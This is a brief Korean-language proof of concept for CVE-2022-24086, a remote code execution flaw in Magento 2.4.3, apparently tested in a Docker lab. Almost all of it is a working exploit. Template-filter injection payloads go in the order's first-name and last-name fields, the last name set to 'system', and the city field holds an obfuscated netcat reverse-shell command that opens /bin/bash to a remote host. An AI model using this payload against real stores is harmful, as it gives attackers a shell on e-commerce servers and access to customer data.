CVE-2022-24086

다음 환경에서 테스트함: magento 2.4.3 및 샘플 데이터 Docker 이미지: docker.io/bitnami/magento:2.4.3-debian-10-r0

이름(First Name):

{{var this.getTemplateFilter().filter($order.shipping_address.city)}}{{var this.getTemplateFilter().addAfterFilterCallback($order.shipping_address.last_name).filter($order.shipping_address.city)}}

성(Last Name):

system

도시(City):

nc${IFS%??}172.18.0.1${IFS%??}9999${IFS%??}-e${IFS%??}/bin/bash

RCE 테스트: